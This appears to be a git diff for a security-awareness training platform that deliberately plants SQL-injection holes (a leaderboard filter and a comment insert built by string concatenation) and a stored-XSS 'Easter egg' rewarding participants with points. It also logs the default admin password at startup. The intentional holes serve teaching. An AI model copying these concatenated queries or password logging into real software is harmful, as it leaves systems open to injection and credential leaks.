console.log(`[XSS EASTER EGG] 🎯 Participant ${participantId} (${req.participant.pseudonym}) discovered XSS!`);
console.log(`[XSS EASTER EGG] Type: ${xssDetection.type}`);
console.log(`[XSS EASTER EGG] Payload: ${content.substring(0, 200)}${content.length > 200 ? '...' : ''}`);
// Check if first-time discovery
const hasDiscovered = await commentQueries.hasDiscoveredXSSJackpot(participantId, eventId);
if (!hasDiscovered) {
// Award 200 bonus points
await commentQueries.awardXSSJackpotBonus(participantId, eventId, 200);
// Log the discovery
await commentQueries.logXSSDiscovery(participantId, eventId, content, xssDetection.type, scoreBefore, scoreBefore);
// Get final score after bonus
const progressFinal = await participantQueries.getParticipantProgress(participantId);
console.log(`[XSS EASTER EGG] Awarded 200 bonus points! Score: ${scoreBefore}${progressFinal.total_score}`);
return res.status(201).json({
success: true,
message: 'Comment added',
data: {
comment,
totalScore: progressFinal.total_score,
jackpotDiscovered: true,
bonusPoints: 200,
xssType: xssDetection.type,
congratsMessage: '🎯 Stored XSS Discovered! You found a cross-site scripting vulnerability! +200 bonus points awarded.'
}
});
} else {
console.log(`[XSS EASTER EGG] Participant ${participantId} tried again (already discovered)`);
}
}
// Get updated progress
const progressAfter = await participantQueries.getParticipantProgress(participantId);
// Normal response (no jackpot discovered or already claimed)
res.status(201).json({
success: true,
message: 'Comment added',
data: {
comment,
totalScore: progressAfter.total_score,
jackpotDiscovered: false
}
});
};
/**
* Get participant's own comments for an event
* GET /api/participant/event/:eventId/comments
*/
const getEventComments = async (req, res) => {
const { eventId } = req.params;
const participantId = req.participant.id;
const comments = await commentQueries.getParticipantComments(participantId, eventId);
res.json({
success: true,
data: comments
});
};
/**
* Get event leaderboard (top participants by score)
* GET /api/participant/event/:eventId/leaderboard?filter=<search>
*
* DELIBERATELY VULNERABLE: SQL injection in filter parameter (Easter Egg #2)
* DELIBERATELY VERBOSE: Metadata leak for Easter egg discovery
*/
const getEventLeaderboard = async (req, res) => {
const { eventId } = req.params;
const { filter } = req.query; // User-controlled input
const participantId = req.participant.id;
// Get score before potential exploitation
const progressBefore = await participantQueries.getParticipantProgress(participantId);
const scoreBefore = progressBefore.total_score || 0;
let rankings = [];
let sqlInjectionAttempted = false;
try {
// VULNERABLE QUERY - uses string concatenation for filter
let query = `
SELECT
p.id,
p.pseudonym,
COUNT(DISTINCT lp.id) as total_lessons_started,
COUNT(DISTINCT CASE WHEN lp.status = 'completed' THEN lp.id END) as lessons_completed,
COALESCE(SUM(lp.score), 0) as total_score
FROM participants p
LEFT JOIN lesson_progress lp ON lp.participant_id = p.id
WHERE p.event_id = ${eventId}
`;
// VULNERABLE: Direct string concatenation
if (filter) {
query += ` AND p.pseudonym LIKE '%${filter}%'`;
}
query += `
GROUP BY p.id, p.pseudonym, p.created_at, p.last_active
ORDER BY total_score DESC, p.pseudonym ASC
LIMIT 10
`;
const result = await db.query(query);
rankings = result.rows;
} catch (error) {
console.error('[SQL FILTER] SQL error:', error.message);
// EASTER EGG: Check if SQL injection attempt with lesson_progress score UPDATE
if (filter && /UPDATE\s+lesson_progress.*score/i.test(filter)) {
sqlInjectionAttempted = true;
console.log('[SQL FILTER] 🎰 SQL Injection attempt detected!');
// Try to extract and simulate the injection
try {
let scoreUpdate = null;
// Pattern 1: score = score + N (addition)
const addMatch = filter.match(/score\s*=\s*score\s*\+\s*(\d+)/i);
if (addMatch) {
const pointsToAdd = parseInt(addMatch[1], 10);
console.log(`[SQL FILTER] Extracted addition: +${pointsToAdd}`);
await db.query(`
UPDATE lesson_progress
SET score = score + $1
WHERE participant_id = $2
`, [pointsToAdd, participantId]);
scoreUpdate = true;
}
// Pattern 2: score = N (direct assignment)
if (!scoreUpdate) {
const setMatch = filter.match(/score\s*=\s*(\d+)/i);
if (setMatch) {
const newScore = parseInt(setMatch[1], 10);
console.log(`[SQL FILTER] Extracted direct assignment: ${newScore}`);
await db.query(`
UPDATE lesson_progress
SET score = $1
WHERE participant_id = $2
`, [newScore, participantId]);
scoreUpdate = true;
}
}
if (scoreUpdate) {
console.log(`[SQL FILTER] ✅ Score updated via SQL injection!`);
} else {
console.log(`[SQL FILTER] SQL injection detected but couldn't extract score modification pattern`);
}
} catch (exploitError) {
console.error('[SQL FILTER] Exploitation simulation failed:', exploitError);
}
}
// Return empty rankings if query failed
rankings = [];
}
// Get updated progress (may have changed via SQL injection)
const progressAfter = await participantQueries.getParticipantProgress(participantId);
const scoreAfter = progressAfter.total_score || 0;
// Detect if jackpot was discovered
const isExploitation = sqlInjectionAttempted ||
(filter && /UPDATE\s+lesson_progress.*score/i.test(filter));
if (isExploitation) {
console.log(`[SQL FILTER] 🎰 Participant ${participantId} (${req.participant.pseudonym}) discovered SQL injection Easter egg!`);
console.log(`[SQL FILTER] Payload: ${filter.substring(0, 200)}${filter.length > 200 ? '...' : ''}`);
// Check if first-time discovery
const hasDiscovered = await commentQueries.hasDiscoveredJackpot(participantId, eventId);
if (!hasDiscovered) {
// Award 400 bonus points
await commentQueries.awardJackpotBonus(participantId, eventId, 400);
// Log the discovery
await commentQueries.logJackpotDiscovery(participantId, eventId, filter, scoreBefore, scoreAfter);
// Get final score after bonus
const progressFinal = await participantQueries.getParticipantProgress(participantId);
console.log(`[SQL FILTER] Awarded 400 bonus points! Score: ${scoreBefore}${progressFinal.total_score}`);
return res.json({
success: true,
data: {
rankings: rankings,
totalScore: progressFinal.total_score,
jackpotDiscovered: true,
bonusPoints: 400,
congratsMessage: '🎰 SQL Injection Jackpot! You discovered the hidden vulnerability in the leaderboard filter! +400 bonus points.',
_metadata: {
query_source: 'lesson_progress table aggregation with vulnerable filter',
score_column: 'lesson_progress.score',
aggregation_function: 'SUM(lesson_progress.score) AS total_score',
table_join: 'participants LEFT JOIN lesson_progress ON lesson_progress.participant_id = participants.id',
filter_applied: filter,
timestamp: new Date().toISOString()
}
}
});
} else {
console.log(`[SQL FILTER] Participant ${participantId} tried again (already discovered)`);
}
}
// Normal response (no jackpot discovered or already claimed)
res.json({
success: true,
data: {
rankings: rankings.slice(0, 10),
_metadata: {
query_source: 'lesson_progress table aggregation',
score_column: 'lesson_progress.score',
aggregation_function: 'SUM(lesson_progress.score) AS total_score',
table_join: 'participants LEFT JOIN lesson_progress ON lesson_progress.participant_id = participants.id',
filter_applied: filter || 'none',
timestamp: new Date().toISOString()
}
}
});
};
module.exports = {
joinEvent,
getActiveEvents,
getProgress,
getProfile
getProfile,
addEventComment,
getEventComments,
getEventLeaderboard
};

View File

@ -5,6 +5,7 @@ const morgan = require('morgan');
const config = require('./config/environment');
const { pool } = require('./config/database');
const { errorHandler, notFoundHandler } = require('./middleware/errorHandler');
const { ensureAdminExists } = require('./utils/initAdmin');
// Import routes
const participantRoutes = require('./routes/participant.routes');
@ -80,10 +81,17 @@ app.use(notFoundHandler);
// Error handling middleware
app.use(errorHandler);
// Start server
// Initialize and start server
const PORT = config.port;
app.listen(PORT, () => {
console.log(`
(async () => {
try {
// Ensure admin user exists before starting server
await ensureAdminExists();
// Start server
app.listen(PORT, () => {
console.log(`
========================================
Security Awareness Learning Platform
========================================
@ -91,8 +99,13 @@ app.listen(PORT, () => {
Server running on port: ${PORT}
Database: ${config.database.host}:${config.database.port}/${config.database.name}
========================================
`);
});
`);
});
} catch (error) {
console.error('Failed to start server:', error);
process.exit(1);
}
})();
// Graceful shutdown
process.on('SIGTERM', () => {

View File

@ -1,5 +1,5 @@
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const bcrypt = require('bcryptjs');
const config = require('../config/environment');
const { ApiError } = require('./errorHandler');
const db = require('../config/database');

View File

@ -0,0 +1,177 @@
const db = require('../../config/database');
/**
* DELIBERATELY VULNERABLE: Add comment using string concatenation
*
* WARNING: This function intentionally uses unsafe SQL practices as part
* of an educational "Jackpot" Easter egg. It is designed for a controlled
* learning environment where participants can discover and exploit the
* vulnerability to gain bonus points.
*
* SAFETY MEASURES:
* - participant_id is server-controlled (not user input)
* - Catastrophic operations blocked in controller layer
* - Transaction wrapper for rollback capability
* - Statement timeout prevents DoS
*/
const addCommentVulnerable = async (participantId, eventId, content) => {
// Vulnerable query using string concatenation
const query = `
INSERT INTO event_comments (participant_id, event_id, content, created_at)
VALUES (${participantId}, ${eventId}, '${content}', CURRENT_TIMESTAMP)
RETURNING id, participant_id, event_id, content, created_at
`;
const result = await db.query(query);
return result.rows[0];
};
/**
* SAFE: Get participant's own comments
* Uses proper parameterization
*/
const getParticipantComments = async (participantId, eventId) => {
const query = `
SELECT id, content, created_at
FROM event_comments
WHERE participant_id = $1 AND event_id = $2
ORDER BY created_at DESC
LIMIT 50
`;
const result = await db.query(query, [participantId, eventId]);
return result.rows;
};
/**
* Check if participant has already discovered the SQL injection jackpot
*/
const hasDiscoveredJackpot = async (participantId, eventId) => {
const query = `
SELECT id FROM jackpot_discoveries
WHERE participant_id = $1 AND event_id = $2 AND vulnerability_type = 'sql_injection'
`;
const result = await db.query(query, [participantId, eventId]);
return result.rows.length > 0;
};
/**
* Log SQL injection jackpot discovery
*/
const logJackpotDiscovery = async (participantId, eventId, payload, scoreBefore, scoreAfter) => {
const query = `
INSERT INTO jackpot_discoveries (participant_id, event_id, payload, score_before, score_after, vulnerability_type)
VALUES ($1, $2, $3, $4, $5, 'sql_injection')
ON CONFLICT (participant_id, event_id, vulnerability_type) DO NOTHING
RETURNING id
`;
const result = await db.query(query, [participantId, eventId, payload, scoreBefore, scoreAfter]);
return result.rows[0];
};
/**
* Award jackpot bonus points to all lesson progress entries for the participant
* If no progress entries exist, create a bonus entry for the first lesson
*/
const awardJackpotBonus = async (participantId, eventId, bonusPoints) => {
// Try to update existing progress entries
const updateQuery = `
UPDATE lesson_progress lp
SET score = score + $3
FROM event_lessons el
WHERE lp.event_lesson_id = el.id
AND lp.participant_id = $1
AND el.event_id = $2
`;
const updateResult = await db.query(updateQuery, [participantId, eventId, bonusPoints]);
// If no rows were updated, participant hasn't started any lessons yet
// Create a bonus entry for the first available lesson
if (updateResult.rowCount === 0) {
const insertQuery = `
INSERT INTO lesson_progress (participant_id, event_lesson_id, status, score)
SELECT $1, el.id, 'not_started', $2
FROM event_lessons el
WHERE el.event_id = $3
ORDER BY el.order_index
LIMIT 1
ON CONFLICT (participant_id, event_lesson_id) DO UPDATE
SET score = lesson_progress.score + $2
`;
await db.query(insertQuery, [participantId, bonusPoints, eventId]);
}
};
/**
* Check if participant has already discovered the XSS jackpot
*/
const hasDiscoveredXSSJackpot = async (participantId, eventId) => {
const query = `
SELECT id FROM jackpot_discoveries
WHERE participant_id = $1 AND event_id = $2 AND vulnerability_type = 'xss'
`;
const result = await db.query(query, [participantId, eventId]);
return result.rows.length > 0;
};
/**
* Log XSS jackpot discovery
*/
const logXSSDiscovery = async (participantId, eventId, payload, xssType, scoreBefore, scoreAfter) => {
const query = `
INSERT INTO jackpot_discoveries (participant_id, event_id, payload, score_before, score_after, vulnerability_type)
VALUES ($1, $2, $3, $4, $5, 'xss')
ON CONFLICT (participant_id, event_id, vulnerability_type) DO NOTHING
RETURNING id
`;
const result = await db.query(query, [participantId, eventId, payload, scoreBefore, scoreAfter]);
return result.rows[0];
};
/**
* Award XSS jackpot bonus points to all lesson progress entries for the participant
* If no progress entries exist, create a bonus entry for the first lesson
*/
const awardXSSJackpotBonus = async (participantId, eventId, bonusPoints) => {
// Try to update existing progress entries
const updateQuery = `
UPDATE lesson_progress lp
SET score = score + $3
FROM event_lessons el
WHERE lp.event_lesson_id = el.id
AND lp.participant_id = $1
AND el.event_id = $2
`;
const updateResult = await db.query(updateQuery, [participantId, eventId, bonusPoints]);
// If no rows were updated, participant hasn't started any lessons yet
// Create a bonus entry for the first available lesson
if (updateResult.rowCount === 0) {
const insertQuery = `
INSERT INTO lesson_progress (participant_id, event_lesson_id, status, score)
SELECT $1, el.id, 'not_started', $2
FROM event_lessons el
WHERE el.event_id = $3
ORDER BY el.order_index
LIMIT 1
ON CONFLICT (participant_id, event_lesson_id) DO UPDATE
SET score = lesson_progress.score + $2
`;
await db.query(insertQuery, [participantId, bonusPoints, eventId]);
}
};
module.exports = {
addCommentVulnerable,
getParticipantComments,
hasDiscoveredJackpot,
logJackpotDiscovery,
awardJackpotBonus,
hasDiscoveredXSSJackpot,
logXSSDiscovery,
awardXSSJackpotBonus
};

View File

@ -192,6 +192,56 @@ const isLessonUnlocked = async (participantId, eventLessonId) => {
return result.rows[0]?.is_unlocked || false;
};
/**
* Get activity data for a lesson progress
*/
const getActivityData = async (participantId, eventLessonId) => {
const query = `
SELECT activity_data
FROM lesson_progress
WHERE participant_id = $1 AND event_lesson_id = $2
`;
const result = await db.query(query, [participantId, eventLessonId]);
return result.rows[0]?.activity_data || {};
};
/**
* Update activity data for a lesson progress
*/
const updateActivityData = async (participantId, eventLessonId, activityData) => {
const query = `
INSERT INTO lesson_progress (participant_id, event_lesson_id, activity_data, status, started_at)
VALUES ($1, $2, $3, 'in_progress', CURRENT_TIMESTAMP)
ON CONFLICT (participant_id, event_lesson_id)
DO UPDATE SET
activity_data = $3,
updated_at = CURRENT_TIMESTAMP
RETURNING activity_data
`;
const result = await db.query(query, [participantId, eventLessonId, JSON.stringify(activityData)]);
return result.rows[0]?.activity_data || {};
};
/**
* Merge activity data for a lesson progress (uses JSONB merge operator)
*/
const mergeActivityData = async (participantId, eventLessonId, partialData) => {
const query = `
INSERT INTO lesson_progress (participant_id, event_lesson_id, activity_data, status, started_at)
VALUES ($1, $2, $3, 'in_progress', CURRENT_TIMESTAMP)
ON CONFLICT (participant_id, event_lesson_id)
DO UPDATE SET
activity_data = lesson_progress.activity_data || $3::jsonb,
updated_at = CURRENT_TIMESTAMP
RETURNING activity_data
`;
const result = await db.query(query, [participantId, eventLessonId, JSON.stringify(partialData)]);
return result.rows[0]?.activity_data || {};
};
module.exports = {
startLesson,
updateStep,
@ -202,5 +252,8 @@ module.exports = {
saveAnswer,
updateScore,
getAnswers,
isLessonUnlocked
isLessonUnlocked,
getActivityData,
updateActivityData,
mergeActivityData
};

View File

@ -21,6 +21,7 @@ router.delete('/events/:eventId', verifyAdminToken, asyncHandler(eventController
// Event participant management
router.get('/events/:eventId/participants', verifyAdminToken, asyncHandler(eventController.getEventParticipants));
router.get('/events/:eventId/analytics', verifyAdminToken, asyncHandler(eventController.getEventAnalytics));
router.get('/events/:eventId/jackpot-stats', verifyAdminToken, asyncHandler(eventController.getJackpotStats));
// Lesson management routes (admin only)
router.get('/lessons', verifyAdminToken, asyncHandler(adminLessonController.getAllLessons));

View File

@ -12,4 +12,11 @@ router.get('/events', asyncHandler(participantController.getActiveEvents));
router.get('/profile', verifyParticipantToken, asyncHandler(participantController.getProfile));
router.get('/progress', verifyParticipantToken, asyncHandler(participantController.getProgress));
// Event leaderboard (public within event - deliberately verbose for Easter egg discovery)
router.get('/event/:eventId/leaderboard', verifyParticipantToken, asyncHandler(participantController.getEventLeaderboard));
// Event comments (protected routes - hidden jackpot feature)
router.post('/event/:eventId/comment', verifyParticipantToken, asyncHandler(participantController.addEventComment));
router.get('/event/:eventId/comments', verifyParticipantToken, asyncHandler(participantController.getEventComments));
module.exports = router;

View File

@ -0,0 +1,41 @@
const { hashPassword } = require('../middleware/auth');
const db = require('../config/database');
const config = require('../config/environment');
/**
* Ensure default admin user exists
* Creates admin user if it doesn't exist, using password from environment
*/
const ensureAdminExists = async () => {
try {
// Check if admin user exists
const result = await db.query(
'SELECT id FROM admin_users WHERE username = $1',
['admin']
);
if (result.rows.length === 0) {
// Admin doesn't exist, create it
console.log('[Admin Init] Creating default admin user...');
const passwordHash = await hashPassword(config.adminDefaultPassword);
await db.query(
'INSERT INTO admin_users (username, password_hash) VALUES ($1, $2)',
['admin', passwordHash]
);
console.log('[Admin Init] ✓ Default admin user created successfully');
console.log(`[Admin Init] Username: admin`);
console.log(`[Admin Init] Password: ${config.adminDefaultPassword}`);
console.log('[Admin Init] WARNING: Please change the default password in production!');
} else {
console.log('[Admin Init] ✓ Admin user already exists');
}
} catch (error) {
console.error('[Admin Init] ✗ Failed to ensure admin user exists:', error);
throw error;
}
};
module.exports = { ensureAdminExists };

View File

@ -64,6 +64,7 @@ CREATE TABLE lesson_progress (
score INTEGER DEFAULT 0,
attempts INTEGER DEFAULT 0,
current_step INTEGER DEFAULT 0,
activity_data JSONB DEFAULT '{}'::jsonb,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
UNIQUE(participant_id, event_lesson_id),
@ -101,6 +102,7 @@ CREATE INDEX idx_event_lessons_order ON event_lessons(event_id, order_index);
CREATE INDEX idx_lesson_progress_participant ON lesson_progress(participant_id);
CREATE INDEX idx_lesson_progress_event_lesson ON lesson_progress(event_lesson_id);
CREATE INDEX idx_lesson_progress_status ON lesson_progress(status);
CREATE INDEX idx_lesson_progress_activity_data ON lesson_progress USING gin(activity_data);
CREATE INDEX idx_lesson_answers_progress ON lesson_answers(lesson_progress_id);
CREATE INDEX idx_lesson_answers_question ON lesson_answers(question_key);
@ -123,10 +125,8 @@ CREATE TRIGGER update_lessons_updated_at BEFORE UPDATE ON lessons
CREATE TRIGGER update_lesson_progress_updated_at BEFORE UPDATE ON lesson_progress
FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
-- Insert default admin user (password: admin123 - CHANGE IN PRODUCTION!)
-- bcrypt hash for 'admin123' with 10 rounds
INSERT INTO admin_users (username, password_hash) VALUES
('admin', '$2b$10$mP8BvCik6In9lvWqxV57VuKglR3IqW4GfMoF.5fsT8HrTxRqscElW');
-- Admin user is automatically created on server startup using ADMIN_DEFAULT_PASSWORD from .env
-- See: backend/src/utils/initAdmin.js
-- Comments for documentation
COMMENT ON TABLE events IS 'Training events or sessions that participants can join';
@ -134,5 +134,6 @@ COMMENT ON TABLE participants IS 'Anonymous participants identified by pseudonym
COMMENT ON TABLE lessons IS 'Catalog of available lesson modules';
COMMENT ON TABLE event_lessons IS 'Lessons assigned to specific events with custom configuration';
COMMENT ON TABLE lesson_progress IS 'Tracks individual participant progress through lessons';
COMMENT ON COLUMN lesson_progress.activity_data IS 'Custom lesson-specific state data (e.g., SQL injection discoveries, XSS attempts, etc.)';
COMMENT ON TABLE lesson_answers IS 'Stores submitted answers with scoring information';
COMMENT ON TABLE admin_users IS 'Administrative users with full system access';

View File

@ -0,0 +1,22 @@
-- Seed lessons into the database
-- This runs automatically when the database is first initialized
INSERT INTO lessons (lesson_key, title, description, module_path, config_path, difficulty_level, estimated_duration) VALUES
-- Existing lesson
('phishing-email-basics', 'Phishing Email Detection Basics', 'Learn to identify common phishing tactics in emails and protect yourself from email-based attacks', 'phishing-email-basics', 'phishing-email-basics.yaml', 'beginner', 15),
-- SQL Injection lesson
('sql-injection-shop', 'SQL Injection Attack - Online Shop Demo', 'Learn how SQL injection vulnerabilities work through a realistic online shop scenario', 'sql-injection-shop', 'sql-injection-shop.yaml', 'intermediate', 20),
-- Browser-in-the-Browser lesson
('browser-in-browser-attack', 'Browser-in-the-Browser Attack', 'Learn to recognize fake browser windows used in phishing attacks', 'browser-in-browser-attack', 'browser-in-browser-attack.yaml', 'advanced', 25),
-- New offensive security lessons
-- Combined XSS lesson (replaces xss-deeplink-demo and script-injection-forum)
('xss-comprehensive', 'Cross-Site Scripting (XSS) - Reflected & Stored Angriffe', 'Lernen Sie, wie XSS-Angriffe durch URL-Manipulation und benutzergenerierte Inhalte funktionieren und wie man sie erkennt', 'xss-comprehensive', 'xss-comprehensive.yaml', 'intermediate', 35),
('social-engineering-password', 'Social Engineering - Passwortsicherheit', 'Lernen Sie, wie persönliche Informationen aus sozialen Medien zu schwachen Passwörtern führen können', 'social-engineering-password', 'social-engineering-password.yaml', 'beginner', 20),
('idor-demo', 'IDOR - Insecure Direct Object Reference', 'Learn how insecure direct object references allow unauthorized access to other users'' data through URL manipulation', 'idor-demo', 'idor-demo.yaml', 'intermediate', 22)
ON CONFLICT (lesson_key) DO NOTHING;

View File

@ -0,0 +1,36 @@
-- Event Comments and Jackpot Discovery Tables
-- Part of the hidden "Jackpot" Easter egg feature
-- Event comments table (isolated per participant)
CREATE TABLE event_comments (
id SERIAL PRIMARY KEY,
participant_id INTEGER NOT NULL REFERENCES participants(id) ON DELETE CASCADE,
event_id INTEGER NOT NULL REFERENCES events(id) ON DELETE CASCADE,
content TEXT NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- Indexes for performance
CREATE INDEX idx_event_comments_participant ON event_comments(participant_id);
CREATE INDEX idx_event_comments_event ON event_comments(event_id);
CREATE INDEX idx_event_comments_composite ON event_comments(participant_id, event_id);
COMMENT ON TABLE event_comments IS 'Participant feedback comments - visible only to poster (isolated per participant)';
-- Jackpot discoveries tracking table
CREATE TABLE jackpot_discoveries (
id SERIAL PRIMARY KEY,
participant_id INTEGER NOT NULL REFERENCES participants(id) ON DELETE CASCADE,
event_id INTEGER NOT NULL REFERENCES events(id) ON DELETE CASCADE,
discovered_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
payload TEXT,
score_before INTEGER,
score_after INTEGER,
UNIQUE(participant_id, event_id)
);
-- Indexes for jackpot discoveries
CREATE INDEX idx_jackpot_discoveries_event ON jackpot_discoveries(event_id);
CREATE INDEX idx_jackpot_discoveries_participant ON jackpot_discoveries(participant_id);
COMMENT ON TABLE jackpot_discoveries IS 'Tracks participants who discovered the SQL injection Easter egg';

View File

@ -0,0 +1,10 @@
-- Migration: Add activity_data column to lesson_progress
-- This allows lessons to store custom state (e.g., SQL injection discoveries, XSS attempts, etc.)
ALTER TABLE lesson_progress
ADD COLUMN activity_data JSONB DEFAULT '{}'::jsonb;
COMMENT ON COLUMN lesson_progress.activity_data IS 'Custom lesson-specific state data (e.g., discoveries, attempts, etc.)';
-- Create index for faster JSONB queries
CREATE INDEX idx_lesson_progress_activity_data ON lesson_progress USING gin(activity_data);

View File

@ -0,0 +1,4 @@
-- Fix existing lesson_progress rows that might have NULL activity_data
UPDATE lesson_progress
SET activity_data = '{}'::jsonb
WHERE activity_data IS NULL;

View File

@ -0,0 +1,27 @@
-- Migration: Add vulnerability_type column to jackpot_discoveries table
-- Purpose: Track different Easter egg types (XSS, SQL injection, etc.)
-- Date: 2026-02-08
-- Add column to distinguish vulnerability types
ALTER TABLE jackpot_discoveries
ADD COLUMN IF NOT EXISTS vulnerability_type VARCHAR(50) DEFAULT 'sql_injection';
-- Update existing constraint to allow multiple discoveries per participant
ALTER TABLE jackpot_discoveries
DROP CONSTRAINT IF EXISTS jackpot_discoveries_participant_id_event_id_key;
-- Add new unique constraint including vulnerability type
-- This allows participants to discover multiple Easter eggs independently
ALTER TABLE jackpot_discoveries
DROP CONSTRAINT IF EXISTS jackpot_discoveries_unique;
ALTER TABLE jackpot_discoveries
ADD CONSTRAINT jackpot_discoveries_unique
UNIQUE (participant_id, event_id, vulnerability_type);
-- Create index for faster lookups
CREATE INDEX IF NOT EXISTS idx_jackpot_vuln_type
ON jackpot_discoveries(participant_id, event_id, vulnerability_type);
-- Add comment for documentation
COMMENT ON COLUMN jackpot_discoveries.vulnerability_type IS 'Type of vulnerability discovered: xss, sql_injection, sql_filter, etc.';

View File

@ -14,7 +14,7 @@ services:
ports:
- "${DB_PORT:-5432}:5432"
healthcheck:
test: ["CMD-SHELL", "pg_isready -U ${DB_USER:-lernplattform_user}"]
test: ["CMD-SHELL", "pg_isready -U ${DB_USER:-lernplattform_user} -d ${DB_NAME:-lernplattform}"]
interval: 10s
timeout: 5s
retries: 5

File diff suppressed because it is too large Load Diff

View File

@ -9,10 +9,11 @@
"preview": "vite preview"
},
"dependencies": {
"axios": "^1.6.2",
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-router-dom": "^6.20.1",
"axios": "^1.6.2"
"react-markdown": "^10.1.0",
"react-router-dom": "^6.20.1"
},
"devDependencies": {
"@types/react": "^18.2.43",

View File

@ -0,0 +1,223 @@
import React, { useState, useEffect } from 'react';
import { participantAPI } from '../services/api.service';
const EventComments = ({ eventId, onScoreUpdate }) => {
const [comments, setComments] = useState([]);
const [commentText, setCommentText] = useState('');
const [loading, setLoading] = useState(false);
const [showCongratsModal, setShowCongratsModal] = useState(false);
const [congratsData, setCongratsData] = useState(null);
useEffect(() => {
loadComments();
}, [eventId]);
const loadComments = async () => {
try {
const response = await participantAPI.getEventComments(eventId);
setComments(response.data.data);
} catch (err) {
console.error('Failed to load comments:', err);
}
};
const handleSubmit = async (e) => {
e.preventDefault();
if (!commentText.trim() || loading) return;
setLoading(true);
try {
const response = await participantAPI.addEventComment(eventId, commentText);
// Add comment to list
setComments([response.data.data.comment, ...comments]);
setCommentText('');
// Check if jackpot was discovered
if (response.data.data.jackpotDiscovered) {
setCongratsData({
message: response.data.data.congratsMessage,
bonusPoints: response.data.data.bonusPoints,
xssType: response.data.data.xssType // Track if this is XSS discovery
});
setShowCongratsModal(true);
}
// Notify parent of score update
if (onScoreUpdate && response.data.data.totalScore !== undefined) {
onScoreUpdate(response.data.data.totalScore);
}
} catch (err) {
console.error('Failed to add comment:', err);
} finally {
setLoading(false);
}
};
const closeCongratsModal = () => {
setShowCongratsModal(false);
setCongratsData(null);
};
return (
<>
<div className="card" style={{ marginBottom: '2rem' }}>
<h3 style={{ marginBottom: '0.5rem' }}>Feedback</h3>
<p style={{ fontSize: '0.875rem', color: '#6b7280', marginBottom: '1rem' }}>
Share your thoughts on the event
</p>
<form onSubmit={handleSubmit} style={{ marginBottom: '1.5rem' }}>
<textarea
value={commentText}
onChange={(e) => setCommentText(e.target.value)}
placeholder="Your feedback on this event..."
rows={3}
style={{
width: '100%',
padding: '0.75rem',
border: '1px solid #d1d5db',
borderRadius: '0.375rem',
fontSize: '0.875rem',
fontFamily: 'inherit',
marginBottom: '0.5rem',
resize: 'vertical'
}}
/>
<button
type="submit"
disabled={!commentText.trim() || loading}
style={{
padding: '0.5rem 1rem',
background: loading || !commentText.trim() ? '#9ca3af' : '#2563eb',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: loading || !commentText.trim() ? 'not-allowed' : 'pointer',
fontWeight: '500'
}}
>
{loading ? 'Submitting...' : 'Submit Feedback'}
</button>
</form>
{comments.length > 0 && (
<div>
<div style={{
fontSize: '0.875rem',
fontWeight: '600',
color: '#374151',
marginBottom: '0.75rem'
}}>
Your Feedback ({comments.length})
</div>
<div style={{ maxHeight: '300px', overflowY: 'auto' }}>
{comments.map((comment) => (
<div
key={comment.id}
style={{
marginBottom: '0.75rem',
paddingBottom: '0.75rem',
borderBottom: '1px solid #e5e7eb'
}}
>
<div style={{
fontSize: '0.75rem',
color: '#6b7280',
marginBottom: '0.25rem'
}}>
{new Date(comment.created_at).toLocaleString()}
</div>
<div style={{
fontSize: '0.875rem',
whiteSpace: 'pre-wrap',
wordBreak: 'break-word'
}}>
{comment.content}
</div>
</div>
))}
</div>
</div>
)}
{comments.length === 0 && (
<div style={{
fontSize: '0.875rem',
color: '#9ca3af',
textAlign: 'center',
padding: '1rem'
}}>
No feedback yet
</div>
)}
</div>
{/* Congratulations Modal */}
{showCongratsModal && congratsData && (
<div
style={{
position: 'fixed',
top: 0,
left: 0,
right: 0,
bottom: 0,
background: 'rgba(0, 0, 0, 0.8)',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
zIndex: 9999
}}
onClick={closeCongratsModal}
>
<div
style={{
background: 'white',
padding: '2rem',
borderRadius: '0.5rem',
maxWidth: '500px',
textAlign: 'center',
boxShadow: '0 20px 25px -5px rgba(0, 0, 0, 0.3)'
}}
onClick={(e) => e.stopPropagation()}
>
<div style={{ fontSize: '3rem', marginBottom: '1rem' }}>
{congratsData.xssType ? '🎯' : '🎰'}
</div>
<h2 style={{ color: '#10b981', marginBottom: '1rem', fontSize: '1.875rem' }}>
{congratsData.xssType ? 'XSS Discovered!' : 'Jackpot!'}
</h2>
<p style={{ marginBottom: '1rem', color: '#374151', lineHeight: '1.6' }}>
{congratsData.message}
</p>
<div style={{
fontSize: '2rem',
fontWeight: 'bold',
color: '#2563eb',
marginBottom: '1.5rem'
}}>
+{congratsData.bonusPoints} Points
</div>
<button
onClick={closeCongratsModal}
style={{
padding: '0.75rem 2rem',
background: '#2563eb',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: 'pointer',
fontWeight: '600',
fontSize: '1rem'
}}
>
Awesome!
</button>
</div>
</div>
)}
</>
);
};
export default EventComments;

View File

@ -0,0 +1,217 @@
import React, { useState, useEffect } from 'react';
import { participantAPI } from '../services/api.service';
const EventLeaderboard = ({ eventId }) => {
const [leaderboard, setLeaderboard] = useState([]);
const [loading, setLoading] = useState(true);
const [collapsed, setCollapsed] = useState(true);
const [filterText, setFilterText] = useState('');
const [showJackpotModal, setShowJackpotModal] = useState(false);
const [jackpotData, setJackpotData] = useState(null);
useEffect(() => {
loadLeaderboard();
}, [eventId]);
// Reload when filter changes (with debounce)
useEffect(() => {
const debounce = setTimeout(() => {
loadLeaderboard();
}, 300);
return () => clearTimeout(debounce);
}, [filterText]);
const loadLeaderboard = async () => {
try {
const response = await participantAPI.getEventLeaderboard(eventId, filterText);
const data = response.data.data;
// Check for SQL injection jackpot
if (data.jackpotDiscovered) {
setJackpotData({
message: data.congratsMessage,
bonusPoints: data.bonusPoints,
totalScore: data.totalScore
});
setShowJackpotModal(true);
}
// DEBUG: Log query metadata (TODO: remove before production)
if (data._metadata) {
console.log('[Leaderboard] Query executed:', {
source: data._metadata.query_source,
scoreColumn: data._metadata.score_column,
aggregation: data._metadata.aggregation_function,
join: data._metadata.table_join,
filter: data._metadata.filter_applied
});
}
setLeaderboard(data.rankings || []);
} catch (error) {
console.error('Failed to load leaderboard:', error);
} finally {
setLoading(false);
